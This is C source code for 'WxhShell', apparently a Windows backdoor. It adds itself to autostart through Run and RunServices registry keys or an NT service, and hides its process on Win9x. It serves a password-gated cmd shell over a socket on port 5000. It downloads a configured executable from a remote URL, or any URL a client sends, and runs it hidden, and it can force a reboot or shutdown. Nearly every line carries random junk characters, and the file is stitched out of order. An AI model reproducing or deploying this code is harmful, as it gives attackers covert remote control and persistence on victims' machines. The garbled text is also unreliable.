    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }`FC'!(   
    if(Boot(SHUTDOWN)) w)2X0ev"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yg3Vj=  
    else { MdV-;uf  
    closesocket(wsh); :7 Ro9z8  
    ExitThread(0); N<}{oIsZ+  
    } Y_ b;1RN  
    break; B b_R~1 l  
    } !vH7vq  
  // 获取shell mR\rK&'6  
  case 's': { FJ#:RC  
    CmdShell(wsh); XT~!dq5  
    closesocket(wsh); @doo2qqIe]  
    ExitThread(0); <x e=G]v  
    break; $[x2L s~  
  } zZ@]Kq;.s  
  // 退出 2y s'q !  
  case 'x': { By%mJ%$~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WqlX'tA  
    CloseIt(wsh);  ky0Fm W  
    break; J5b>mTvb  
    } ;'CWAJK  
  // 离开 Ou/JN+2A  
  case 'q': { //9Ro"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =B-a]?lM  
    closesocket(wsh); )4q0(O)d  
    WSACleanup(); B! $a Y  
    exit(1); f mXU)  
    break; mltG4R ?  
        } 0n` 1GU)W  
  } c((^l&  
  } Vj(}'h-c\  
!*JE%t  
  // 提示信息 d}#G~O+y3v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @62QDlt;  
} HIM>%   
  } Wyh   
f4eLnY  
  return; gB BS}HF  
} DlIy'@ .  
Pp.qDkT  
// shell模块句柄 R-CFF  
int CmdShell(SOCKET sock) UlF=,0P  
{ 9U$n;uA  
STARTUPINFO si; j{PuZ^v1  
ZeroMemory(&si,sizeof(si)); o_C j o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1<g,1TR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aMI\gCB/  
PROCESS_INFORMATION ProcessInfo; *E lR  
char cmdline[]="cmd"; .b'hVOs{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #Q320}]{  
  return 0; DWT4D)C,U  
} OJ0Dw*K<  
=gL~E9\  
// 自身启动模式 fS2 ^$"B|  
int StartFromService(void) H=Sy.  
{ yv2BbrYyy  
typedef struct }H2<w-,+  
{ 5[NF  
  DWORD ExitStatus; H]>b<Cs  
  DWORD PebBaseAddress; XoI,m8A  
  DWORD AffinityMask; =73""ry  
  DWORD BasePriority; n u|paA  
  ULONG UniqueProcessId; Ck<g0o6  
  ULONG InheritedFromUniqueProcessId; mqPV Eo  
}   PROCESS_BASIC_INFORMATION; e}e|??'(\  
E07g^y"}i  
PROCNTQSIP NtQueryInformationProcess; V-rzn171Q)  
'fB/6[bd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R?bF b|5t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &Xw{%Rg  
5T]GyftFV  
  HANDLE             hProcess; KFxy,Z$-4  
  PROCESS_BASIC_INFORMATION pbi; k\,01Y^  
;;4xpg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u`GzYG-L  
  if(NULL == hInst ) return 0; GR&T Z   
5@_c<   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5<1,`Bq@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =+@IpXj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5 \1C@d  
B1\@ n$  
  if (!NtQueryInformationProcess) return 0; @#sBom+K`  
|4RuT .-o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7k beAJ+{  
  if(!hProcess) return 0; ZLK@x.=  
)'\pa2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @H'pvFLK?  
pMJK?- )  
  CloseHandle(hProcess); OG}auM4  
cQj{[Wt4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G}.t!"  
if(hProcess==NULL) return 0; <3]Qrjl ,b  
&j2fh!\4  
HMODULE hMod; ^ 'jJ~U  
char procName[255]; 8GC(?#Kb  
unsigned long cbNeeded; 5|zISK%zHS  
u[25U;xo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {-X8MisI  
P=ARttT`(  
  CloseHandle(hProcess); %DJxUuh  
K&{*sa r  
if(strstr(procName,"services")) return 1; // 以服务启动 3'(w6V  
@r.u8e)l  
  return 0; // 注册表启动 ,]ALyWGuX  
} fG;(&Dx  
'MEO?]Tf.^  
// 主模块 G4Y]fzC  
int StartWxhshell(LPSTR lpCmdLine) b.jxkx\nt  
{ ,XmTKO c  
  SOCKET wsl; NNUm=g^  
BOOL val=TRUE; gwFHp .mE  
  int port=0; tmAc=?|Wa  
  struct sockaddr_in door; K>H_q@-?f  
>icK]W  
  if(wscfg.ws_autoins) Install(); U4hsbraz  
S9Kay'.aJ(  
port=atoi(lpCmdLine); lH_S*FDa  
,$ICv+7]  
if(port<=0) port=wscfg.ws_port; <{\UE~  
^%|(dMo4  
  WSADATA data; !?Tu pi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n1Ag o3NM  
7QdU|1]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E%L]ifA9!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $~,]F  
  door.sin_family = AF_INET; 7 R1;'/;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z4#lZS`'A  
  door.sin_port = htons(port); GvQ|+vC  
'WH@Zk/l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w+vYD2 a  
closesocket(wsl); pH&Q]u; O  
return 1; n*\AB=|X  
} Jt4T)c9  
c9e  }P  
  if(listen(wsl,2) == INVALID_SOCKET) { dO Y+| P\  
closesocket(wsl); ye U4,K o  
return 1; H >@yC  
} +M9=KVr  
  Wxhshell(wsl); Z+"%MkX0  
  WSACleanup(); @vf{_g<  
7Kx3G{5ja  
return 0; yc,Qz.+g  
)i; y4S  
} JnX@eBNV  
\IQP` JR  
// 以NT服务方式启动 rnxO2   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7`3he8@ze  
{ BaIh,iu  
DWORD   status = 0; X~RET[L2  
  DWORD   specificError = 0xfffffff; tR#uDE\wR  
o{\@7'G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k07JMS?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bA#E8dlC_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1{+Ni{  
  serviceStatus.dwWin32ExitCode     = 0; [.P~-6~  
  serviceStatus.dwServiceSpecificExitCode = 0;  /A|cO   
  serviceStatus.dwCheckPoint       = 0; tq9t(0EL  
  serviceStatus.dwWaitHint       = 0; [|~X~AO%  
U[~BW[[@f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~..h=  
  if (hServiceStatusHandle==0) return; tZ1iaYbvV  
Ch ` Omq  
status = GetLastError(); (mHFyEG  
  if (status!=NO_ERROR) m,e1:Nk<  
{ lkp!S3,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IsO'aFK)ln  
    serviceStatus.dwCheckPoint       = 0; AX8;x1t^.  
    serviceStatus.dwWaitHint       = 0; gDnG!i+  
    serviceStatus.dwWin32ExitCode     = status; m^_)aS  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'w.:I TJf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WPyd ^Y<  
    return; ee&QZVL>  
  } nM8aC&Rd\  
nLkC-+$tM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NW=j>7  
  serviceStatus.dwCheckPoint       = 0; ;D]TPBE  
  serviceStatus.dwWaitHint       = 0; b]6;:Q!d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V]}/e!XK\  
} 0t 7yK  
I_xJ[ALdm  
// 处理NT服务事件,比如:启动、停止 M:?eK [h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A"eT @  
{ DC*|tHl  
switch(fdwControl) zEY Ey1  
{ oTOe(5N8a  
case SERVICE_CONTROL_STOP: 1`_Mc ]  
  serviceStatus.dwWin32ExitCode = 0; 4$.UVW\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0y'34}  
  serviceStatus.dwCheckPoint   = 0; >~J_9'gX6  
  serviceStatus.dwWaitHint     = 0;  wb4 4  
  { F>A-+]X3o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7"4|`y^#  
  } x)#k$ QU  
  return; _* 4 <  
case SERVICE_CONTROL_PAUSE: L6$,<}l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1t!Mg{&e[x  
  break; *JO"8iLw  
case SERVICE_CONTROL_CONTINUE: ; @Gm@d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -lSm:O@'  
  break; {br4B7b  
case SERVICE_CONTROL_INTERROGATE: Q'~;RE%T  
  break; AH=6xtS-  
}; QS=n 50T,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V^L;Nw5h  
} W,Dr2$V  
b'9G`Y s^  
// 标准应用程序主函数 G=Ka{J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q1eiU Y6  
{ y L&n)   
WHAEB1c#Q  
// 获取操作系统版本 7\{<AM?*  
OsIsNt=GetOsVer(); uX}M0W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); by6E "7%  
`5e#9@/e  
  // 从命令行安装 E? F @  
  if(strpbrk(lpCmdLine,"iI")) Install(); z8z U3?  
wm2Q(l*HH  
  // 下载执行文件 (nda!^f_s  
if(wscfg.ws_downexe) { oF ,8j1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (:T~*7/"  
  WinExec(wscfg.ws_filenam,SW_HIDE); Kq!n `@  
} DU1,i&(  
!JYDg  
if(!OsIsNt) { [U3z*m>e;  
// 如果时win9x,隐藏进程并且设置为注册表启动 qd{|"(9B  
HideProc(); y ImriCT  
StartWxhshell(lpCmdLine); sMO3eNLn  
} _\o +9X!  
else @Gn9x(?J  
  if(StartFromService()) m@HU;J\I  
  // 以服务方式启动 XTW/3pB  
  StartServiceCtrlDispatcher(DispatchTable); }3[ [ONA  
else U?|s/U  
  // 普通方式启动 R4V>_\D/  
  StartWxhshell(lpCmdLine); +oQ@E<)H  
+}9%Duim  
return 0; =:a 3cr~  
} pm)A*][s  
yDd&*;9%Qg  
Pi*,&D>{7  
b:%>T PT  
=========================================== /h2`?~k+  
O4$: xjs  
u%*;gu"2  
'inWV* P*g  
I/^Lr_\  
?'_iqg3  
" N pRC3^  
L7Skn-*tnA  
#include <stdio.h> mbS &>  
#include <string.h> UhEJznfi  
#include <windows.h> &x=<>~Ag3  
#include <winsock2.h> ,hOJe=u46  
#include <winsvc.h> 7?hC t  
#include <urlmon.h> ?on3z  
b$gDFNa  
#pragma comment (lib, "Ws2_32.lib") S%%>&^5  
#pragma comment (lib, "urlmon.lib") CB|z{(&N  
l_f"}l  
#define MAX_USER   100 // 最大客户端连接数 _r,# l5~U  
#define BUF_SOCK   200 // sock buffer ~kN6Hr*X  
#define KEY_BUFF   255 // 输入 buffer PiH#9X B  
[|F.*06SK  
#define REBOOT     0   // 重启 Uw)K [T  
#define SHUTDOWN   1   // 关机 vB.LbYyF  
Qgf_  
#define DEF_PORT   5000 // 监听端口 ied<1[~S  
R`$Odplh>  
#define REG_LEN     16   // 注册表键长度 HDy[/7"  
#define SVC_LEN     80   // NT服务名长度 !EKF^n6  
: wn![<`3q  
// 从dll定义API e dD(s5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TS1 k'<c?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  d;CD~s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1y?TyUP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @8_K^3-~e  
pCg0xbc`  
// wxhshell配置信息 zSq+#O1#  
struct WSCFG { 2'@0|k,yC  
  int ws_port;         // 监听端口 14^t{  
  char ws_passstr[REG_LEN]; // 口令 o^AK@\e:^Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no \j K?R 6  
  char ws_regname[REG_LEN]; // 注册表键名 cCj}{=U  
  char ws_svcname[REG_LEN]; // 服务名 3cOXtDV YT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *YDx6\><  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }D|"$*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :W'1Q2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^rxXAc[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LL,~&5{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v=X\@27= ?  
m Y%PG  
}; a!>AhOk.  
8\ :T*u3  
// default Wxhshell configuration "kN5AeRg  
struct WSCFG wscfg={DEF_PORT, Y}Qu-fm  
    "xuhuanlingzhe", }S42.f.p  
    1, 7v\OS-  
    "Wxhshell", khEHMvVH  
    "Wxhshell", ~i(*.Z) \  
            "WxhShell Service", isDr|g$S  
    "Wrsky Windows CmdShell Service", sjzZl*GSy  
    "Please Input Your Password: ", nq$^}L3&~  
  1, L:%h]-  
  "http://www.wrsky.com/wxhshell.exe", 0,VbB7 z  
  "Wxhshell.exe" thq(tK7  
    }; I/'jRM  
5B@&]-'~  
// 消息定义模块 G-;pMFP(?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s=KA(4p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,Ma$:6`f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5SK.R;mn  
char *msg_ws_ext="\n\rExit."; -$mzzYH  
char *msg_ws_end="\n\rQuit."; U :IQWlC  
char *msg_ws_boot="\n\rReboot..."; jdoI)J@9H  
char *msg_ws_poff="\n\rShutdown..."; < Gu s9^_  
char *msg_ws_down="\n\rSave to "; $aVcWz %  
UHxXa*HyI  
char *msg_ws_err="\n\rErr!"; Pu}2%P)p  
char *msg_ws_ok="\n\rOK!"; `[`eg<xj  
b9"Q.*c<Z^  
char ExeFile[MAX_PATH]; ousoG$Pc  
int nUser = 0; Q4Cw{2r  
HANDLE handles[MAX_USER]; `VS/ Xyp  
int OsIsNt; 30B! hj$C  
XLOk+Fn  
SERVICE_STATUS       serviceStatus; 3:76x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cvAkP2  
N b+zP[C  
// 函数声明 1s1$J2LX  
int Install(void); rVZk G,Q  
int Uninstall(void); \bfNki  
int DownloadFile(char *sURL, SOCKET wsh); XV!P8n  
int Boot(int flag); :]?I|.a  
void HideProc(void); 7@06x+!  
int GetOsVer(void); v/CXX<^U(  
int Wxhshell(SOCKET wsl); K{"+eA>CU  
void TalkWithClient(void *cs); `+i<:,z-gs  
int CmdShell(SOCKET sock); U${dWxC  
int StartFromService(void); * 78TT \q<  
int StartWxhshell(LPSTR lpCmdLine); .PF~8@1ju  
m:K/ )v*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A2htD!3  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  /pV^w  
6LUB3;g7  
// 数据结构和表定义 ek3/`]V:  
SERVICE_TABLE_ENTRY DispatchTable[] = C~kw{g+|  
{ a N_M  
{wscfg.ws_svcname, NTServiceMain}, .,feRK>3  
{NULL, NULL} Vbz$dpT  
}; ;B!&( 50e  
[{'` |  
// 自我安装  X&(1DE  
int Install(void) %m{h1UQQ +  
{ I)n%aTfo8  
  char svExeFile[MAX_PATH]; !WAbO(l  
  HKEY key; lKwIlp  
  strcpy(svExeFile,ExeFile); OBu$T&  
'Kc;~a  
// 如果是win9x系统,修改注册表设为自启动 _AK-AY  
if(!OsIsNt) { (AV j_Cw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  rf oLg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @#;~_?$?C  
  RegCloseKey(key); 8BBuYY {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $FS j^v]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ys09W+B7  
  RegCloseKey(key); ~ M@8O  
  return 0; T+Du/ERL  
    } *<]ulR2  
  } Fb.wm   
} UG 9uNgzQ/  
else { k${25*M!3  
)g+~"&Gcx  
// 如果是NT以上系统,安装为系统服务 1@;Dn'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "){"{~  
if (schSCManager!=0) A"d=,?yE  
{ $,F1E VJ  
  SC_HANDLE schService = CreateService '\=aSZVO  
  ( `BF+)fs  
  schSCManager, V+-%$-w>  
  wscfg.ws_svcname, FAo\`x  
  wscfg.ws_svcdisp, wNq#vn  
  SERVICE_ALL_ACCESS, 8FU8E2zo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }cEcoi<v!  
  SERVICE_AUTO_START, 9K~X}]u  
  SERVICE_ERROR_NORMAL, PA&Ev0`+  
  svExeFile, b-\ 1D;]  
  NULL, 2w+w'Ag_R  
  NULL, G[@RZ~o4  
  NULL, i=nd][1n  
  NULL, h b_"E, `F  
  NULL B[epI3 R  
  ); V*}ft@GPD  
  if (schService!=0) 4ba[*R2  
  { ,F!zZNW9  
  CloseServiceHandle(schService); Z<@0~t_:?p  
  CloseServiceHandle(schSCManager); xN'$ Yh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  l|j  
  strcat(svExeFile,wscfg.ws_svcname); /R!:ll2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O,x[6P54P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e?,n>  
  RegCloseKey(key); xG/B$DLn  
  return 0; `zw XfY,%  
    } r roI  
  } e ^2n58  
  CloseServiceHandle(schSCManager); +Hgil  
} lK 5@qG#  
} Qzt'ZK  
s'b 4Me  
return 1; Y 3h`uLQ  
} _(l?gj  
?(0=+o(`  
// 自我卸载 qILb>#  
int Uninstall(void) C3)*Mn3%P  
{ N:x--,2  
  HKEY key; [MhKR }a  
+saXN6  
if(!OsIsNt) { ]l>LU2 sx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %PM&`c98z7  
  RegDeleteValue(key,wscfg.ws_regname); "ngULpb{R  
  RegCloseKey(key); JlR$"GU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~@=(#tO.  
  RegDeleteValue(key,wscfg.ws_regname); n+MWny  
  RegCloseKey(key); =h0vdi%{  
  return 0; :e /*5ix  
  } h! =h0  
} 4a}[&zm(5  
} hz:h>Hwy  
else { i' V("  
_rM?g1}5j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M#n lKj<  
if (schSCManager!=0) *,& 2?E8  
{ J/LsL k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kv0V`}<Yc  
  if (schService!=0) lg"aB  
  { 5.1z9[z  
  if(DeleteService(schService)!=0) { jaw&[f 7  
  CloseServiceHandle(schService); ];xDXQd  
  CloseServiceHandle(schSCManager); (qglD  
  return 0; ja^_Lh9  
  } .DNPL5[v  
  CloseServiceHandle(schService); UodBK7y  
  } V'hb 4}@  
  CloseServiceHandle(schSCManager); $vrkxn  
} k/P.[5  
} *4/FN TC  
3xg9D.A  
return 1; HS[($  
} Q2/65$ nW  
/sfJ:KP0  
// 从指定url下载文件 $Nd,6w*`  
int DownloadFile(char *sURL, SOCKET wsh) ?iZ2sRWR6  
{ mG"xo^1_H  
  HRESULT hr; %UAF~2]g  
char seps[]= "/"; FA%_jM  
char *token; _j+!Fd  
char *file; N=AHS  
char myURL[MAX_PATH]; Kv<f< >|L  
char myFILE[MAX_PATH]; pO_IUkt  
j$K*R."  
strcpy(myURL,sURL); GLgf%A`5/_  
  token=strtok(myURL,seps); G4uG"  
  while(token!=NULL) I`zd:o]  
  { 5r`rstV  
    file=token; K+pVRDRcs  
  token=strtok(NULL,seps); yQuL[#p  
  } h2 KI  
7:,f|>  
GetCurrentDirectory(MAX_PATH,myFILE); 9w$m\nV  
strcat(myFILE, "\\"); =:aJZ[UU<2  
strcat(myFILE, file); w lH\w?  
  send(wsh,myFILE,strlen(myFILE),0); T'9ZR,{F  
send(wsh,"...",3,0); -Arsmo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3 P9ux  
  if(hr==S_OK) jUEgu  
return 0; ki?h7  
else ! !A0K"h  
return 1; Q_U.J0  
Dn6U8s&  
} h Ta(^  
o:D,,MkSw  
// 系统电源模块 O&1qL)  
int Boot(int flag) _bGkJ=  
{ < Hkq  
  HANDLE hToken; B2e"   
  TOKEN_PRIVILEGES tkp; /TyGZ@S>m  
gs5(~YiT6  
  if(OsIsNt) { ]I[~0PCSX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @(Y!$><Is  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6$6QAW0+f  
    tkp.PrivilegeCount = 1; ;eN ^'/4A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &W,jR|B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yEq7ueJ'  
if(flag==REBOOT) { TG%B:^Yz!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;%9]G|*{  
  return 0; $P=C7;  
} *!%lBt{2  
else { =eDIvNps  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) * :O"R  
  return 0; `&M,B=E  
} sU"%,Q5  
  } H_X^)\oJ  
  else { B1V{3  
if(flag==REBOOT) { -}#HaL#'K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ")T\_ME  
  return 0; LWyr  
} g w" \pD  
else { N-gYamlQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u.|Z3=?VG  
  return 0; F!]Sr'UA  
} Ot2o=^Ng  
} } o%^ Mu B  
L5-|-PP|;  
return 1; rW:krx9  
} );$99t  
s_'&_>D  
// win9x进程隐藏模块 rZ~w_DK*  
void HideProc(void) flsejj$  
{ )h8}{*  
bC/":+s& p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )th[fUC(  
  if ( hKernel != NULL ) Q?#I{l)V(  
  { uh )S;3|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `7CK;NeT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fSkDD>&  
    FreeLibrary(hKernel); =V[uXm  
  } [={mCGU  
`Mnu<)v  
return; =]Vz= <  
} l4OrlS/5  
*\sPHz.  
// 获取操作系统版本 ]:P7}Kpb  
int GetOsVer(void) qN $t_  
{ T5(S2^)o  
  OSVERSIONINFO winfo; +$h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'X^auyL  
  GetVersionEx(&winfo); M|WBJ'#x0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [3 Pp NCY  
  return 1; xN1P#  
  else &mwd0%4  
  return 0; jJy:/!i  
} ZJYn[\]  
\N,ox(f?gW  
// 客户端句柄模块 Ri.tA  
int Wxhshell(SOCKET wsl) VdLoi\-/L  
{ k }=<51c  
  SOCKET wsh; {.p.?  
  struct sockaddr_in client; g.lTNQm$u  
  DWORD myID; J|`0GDSn  
%#HU~X:  
  while(nUser<MAX_USER) {&  o^p!  
{ f7Gn$E|/r;  
  int nSize=sizeof(client); #z\ub5um  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BOs/:ZbK0W  
  if(wsh==INVALID_SOCKET) return 1; EBj^4=b[  
XYEwn_Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *{g3ia  
if(handles[nUser]==0) j(;^XO Y#  
  closesocket(wsh); fz&B$1;8  
else ,YYEn^:>  
  nUser++; XzUGlrp:Y#  
  } JJ?{V:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &m5zd$6  
Y'v[2s  
  return 0; o/5-T4  
} | f#wbw  
g3R(,IH  
// 关闭 socket Gw M:f/eV  
void CloseIt(SOCKET wsh) ?t#wK}d.  
{ p>6`jr  
closesocket(wsh); e#"h@kZP  
nUser--; Knq 9 "k  
ExitThread(0); Dl,QCZeM  
} NvR{S /Z  
#6`5-5Ks;  
// 客户端请求句柄 baxZ>KNi  
void TalkWithClient(void *cs) Z;BS@e  
{ aZfMeW  
bJ^JK  
  SOCKET wsh=(SOCKET)cs; zWsr|= [  
  char pwd[SVC_LEN]; +-9vrEB  
  char cmd[KEY_BUFF]; @6u/)>rI  
char chr[1]; 7|rH9Bc{U  
int i,j; 3h@]cWp  
0[;2dc  
  while (nUser < MAX_USER) { X>q`F;W  
;KeU f(tH  
if(wscfg.ws_passstr) { ]hl*6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fq9YhR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j\>LJai"  
  //ZeroMemory(pwd,KEY_BUFF); h2l;xt  
      i=0; ~9X^3.nI  
  while(i<SVC_LEN) { @AyteHK  
2RiJm"   
  // 设置超时 r pNb.  
  fd_set FdRead; .`or^`X3  
  struct timeval TimeOut; [ks_wvY:'  
  FD_ZERO(&FdRead); Ni$'# W?t  
  FD_SET(wsh,&FdRead); .RD<]BxJ  
  TimeOut.tv_sec=8; =c8}^3L~7  
  TimeOut.tv_usec=0; 7"(!]+BW!O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TBlSZZ-55]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tbrU>KCBD  
Di9RRHn&q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o%d TcoCN  
  pwd=chr[0]; @s5=6z]=H  
  if(chr[0]==0xd || chr[0]==0xa) { eP{srP3 9  
  pwd=0; J-W9Bamx  
  break; H]TdW;ZbZ  
  } )G[byBa  
  i++; % rBz A<  
    } 1S{Biqi+  
ofvR0yV  
  // 如果是非法用户,关闭 socket t,/ G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <_?zln:4.  
} j,IRUx13f  
!MbzFs~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [%W'd9`>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 86&M Zdv6  
~!S3J2kG{  
while(1) { ggso9ZlLu+  
0K!3Ny9(  
  ZeroMemory(cmd,KEY_BUFF); eJDZ| $  
z^Hc'oVXj:  
      // 自动支持客户端 telnet标准   U(&c@u%  
  j=0; AFLtgoXn:  
  while(j<KEY_BUFF) { ?K1B^M=8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cNll??j  
  cmd[j]=chr[0]; `oRyw6Sko  
  if(chr[0]==0xa || chr[0]==0xd) { kVn RSg}R  
  cmd[j]=0; 8%rD/b6`  
  break; hp dI5  
  } K_Y-N!h  
  j++;  01kRe  
    } -V$|t<  
>w,L=z=  
  // 下载文件 >XN[KPTa  
  if(strstr(cmd,"http://")) { 7iB!Uuc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oO}g~<fYG  
  if(DownloadFile(cmd,wsh)) r>mBe;[TX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q*M#e  
  else _3IT3mb2n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "be\%W+<  
  } \!KE_7HRu  
  else { 7>hcvML  
unDW2#GX  
    switch(cmd[0]) { 3:nhZN/95T  
  n Ja!&G&  
  // 帮助 #qRoTtMq 7  
